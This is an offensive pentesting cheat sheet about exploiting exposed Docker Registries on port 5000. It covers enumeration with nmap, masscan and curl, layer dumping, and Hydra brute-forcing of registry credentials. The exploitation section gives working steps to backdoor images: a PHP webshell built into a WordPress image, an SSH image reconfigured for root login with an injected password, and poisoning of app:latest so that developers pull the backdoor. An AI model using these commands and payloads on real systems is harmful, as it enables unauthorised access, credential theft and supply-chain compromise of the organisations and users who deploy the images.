Docker Registry - PORT 5000
Become VeryLazyTech member! 🎁
Follow us on:
✖ Twitter @VeryLazyTech.
👾 Github @VeryLazyTech.
📜 Medium @VeryLazyTech.
📺 YouTube @VeryLazyTech.
📩 Telegram @VeryLazyTech.
🕵️♂️ My Site @VeryLazyTech.
Visit our shop for e-books and courses. 📚
Basic Info
A Docker registry is a storage and distribution system for Docker images. These images are grouped into repositories, and each repository can store multiple tagged versions of an application or service. Registries allow developers to upload (push) their images and download (pull) them to deploy containers anywhere.
By default, Docker uses DockerHub as its public registry, but organizations often set up their own on-premise Docker registries—either with the open-source distribution or the commercial Docker Trusted Registry. Other public registries also exist across the internet.
For example, pulling an image from a private registry looks like this:
docker pull my-registry:9000/foo/bar:2.1
This fetches version 2.1
of the foo/bar
image from the registry at my-registry:9000
. From DockerHub, the same image (if 2.1
is the latest) can be pulled with a simpler command:
docker pull foo/bar
The default port for Docker Registry is 5000, which appears in scans as:
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
If this service is exposed without authentication, it can leak sensitive images, configs, and secrets directly to an attacker.
Enumeration
The easiest way to discover a Docker Registry service is via Nmap:
nmap -p 5000 <target>
However, since Docker Registry is HTTP-based, it could also be hidden behind proxies or reverse proxies — meaning Nmap alone might not always detect it.
Fingerprinting Tricks:
Accessing
/
→ usually nothing is returned.Accessing
/v2/
→ the service often returns an empty JSON:
{}
Accessing
/v2/_catalog
→ may list all available repositories:
{"repositories":["alpine","ubuntu"]}
If authentication is enabled, you’ll often see:
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
These simple checks confirm the service and tell you whether it’s open to the world or locked down.
Using .nse
(Nmap script engine)
The default Docker Registry runs on TCP port 5000. Start by scanning:
nmap -p5000 --script http-docker-registry-discover <target>
Or with Masscan for a wide sweep:
masscan -p5000 0.0.0.0/0 --rate=10000 -oG docker.txt
If port 5000 is open, it’s worth testing further.
HTTP/HTTPS (Using curl)
Docker registry may be configured to use HTTP or HTTPS. So the first thing you may need to do is find which one is being configured:
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
Enumerate tags
curl http://<target>:5000/v2/app/tags/list
This shows available versions of the image.
Fetch the Manifest of a Specific Tag
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
Download a Blob (Layer)
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
Extract and Inspect the Layer
tar -xf blob1.tar
Enumeration Using Docker
Beyond curl
, you can interact directly with the target registry using the Docker client. This is often more convenient for downloading and inspecting images.
1. Pull an Image from the Target Registry
Once you’ve enumerated the available repositories with /v2/_catalog
, you can pull them directly:
docker pull 10.10.10.10:5000/ubuntu
2. Review Image History
After pulling, check the history of the image to reveal the commands used to build its layers. These often expose secrets, build scripts, or configuration mistakes:
docker history 10.10.10.10:5000/ubuntu
Example output:
IMAGE CREATED CREATED BY SIZE COMMENT
ed05bef01522 2 years ago ./run.sh 46.8MB
<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
Why this matters: Developers often bake in sensitive files during builds, then forget to remove them. Even if later layers overwrite these files, they remain in history.
3. Run the Image
Start a container and obtain a shell:
docker run -it 10.10.10.10:5000/ubuntu bash
This drops you inside the container filesystem. Leave this running for exploration.
4. Get Another Shell Inside the Running Container
From another terminal, list running containers:
docker ps
Then connect to it:
docker exec -it 7d3a81fe42d7 bash
Pro Tip: Using docker exec
, you can pivot inside the container, look for SSH keys, environment variables, or misconfigured services — often leading to privilege escalation or lateral movement inside the target’s infrastructure.
Automate tools for enum
Enumeration using DockerRegistryGrabber
Manually enumerating a Docker Registry with curl
works, but it can be slow and repetitive when dealing with many repositories, multiple tags, and authentication. That’s where DockerRegistryGrabber comes in.
DockerRegistryGrabber is a Python tool that allows penetration testers to enumerate and dump Docker registries — both with and without authentication. It automates:
Enumerating repositories (
/v2/_catalog
)Listing available image tags (
/v2/<repo>/tags/list
)Pulling and downloading layers locally for analysis
Supporting Basic Authentication (username:password)
This makes it a powerful choice when exploring large or hidden registries that could store sensitive images.
Installation
Clone the repository and install dependencies:
git clone https://github.com/Syzik/DockerRegistryGrabber
cd dockerRegistryGrabber
pip install -r requirements.txt
Usage Examples
Unauthenticated Enumeration:
python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000
This will fetch repositories from the open registry.
Authenticated Enumeration:
python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000 -a username:password
Useful if the registry is protected by Basic Auth.
Dumping Images:
python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000 -d
This downloads the full image layers for offline inspection (config files, secrets, etc.).

Authentication
Docker Registry may also be configured to require authentication. The first check is as simple as hitting the catalog endpoint with curl
:
curl -k https://192.25.197.3:5000/v2/_catalog
Possible Responses
If authentication is required:
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
If no authentication is required:
{"repositories":["alpine","ubuntu"]}
👉 If you encounter authentication, you can attempt brute force attacks against the registry’s credentials. Common wordlists like rockyou.txt can be used with tools such as Hydra or custom scripts.
Once valid credentials are discovered, you can use them to enumerate the registry. With curl
, the syntax is:
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
Hydra
hydra -L /usr/share/seclists/wordlists/simple-users.txt -P /usr/share/brutex/seclists/password.lst 10.10.10.10 -s 5000 https-get /v2/
This will return the repositories available under that account, which you can then pull and inspect for secrets or misconfigurations.
Exploitation
Pulling Sensitive Images
If pulling is allowed:
docker pull <target>:5000/app:latest
Then inspect the image layers:
docker history <target>:5000/app:latest
docker run -it <target>:5000/app:latest /bin/sh
Hackers often extract secrets from inside these images. Look for:
.env
filesConfigs in
/app/config
or/root/
Hardcoded passwords in source code
Example:
docker run --rm -it <target>:5000/backend:prod cat /app/config.yaml
Backdooring Docker Images
Once you can pull and push images to a misconfigured Docker Registry, you effectively have the power to inject malicious code into production workloads. Two common exploitation techniques are WordPress image backdooring and SSH image backdooring.
Backdooring a WordPress Image
If the registry contains a WordPress image, you can embed a simple PHP webshell:
1. Create your webshell
// shell.php
<?php echo shell_exec($_GET["cmd"]); ?>
2. Create a Dockerfile that inserts it into WordPress
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
3. Build and push the malicious image
docker build -t 10.10.10.10:5000/wordpress .
docker images
docker push 10.10.10.10:5000/wordpress
Result: Next time the target pulls and runs this WordPress image, you’ll have remote code execution via the /app/shell.php?cmd=id
endpoint.
Backdooring an SSH Server Image
Attackers can also abuse SSH-based images for persistent access.
1. Pull and run the target’s SSH image
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
2. Extract the SSH configuration file
docker cp <container_id>:/etc/ssh/sshd_config .
Modify it to allow root login:
PermitRootLogin yes
3. Create a Dockerfile that adds the modified config & a backdoor password
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
4. Build and push the backdoored image
docker build -t 10.10.10.10:5000/sshd-docker-cli .
docker images
docker push 10.10.10.10:5000/sshd-docker-cli
Result: If deployed, you gain root SSH access with the password you injected.
Poisoning the Registry
If push is enabled without authentication, the situation is catastrophic. An attacker can poison existing images:
docker tag backdoor:latest <target>:5000/app:latest
docker push <target>:5000/app:latest
Now every time a developer pulls app:latest
, they get your backdoor. This is supply chain compromise at its worst.
Learn & practice For the Bug Bounty
Last updated
Was this helpful?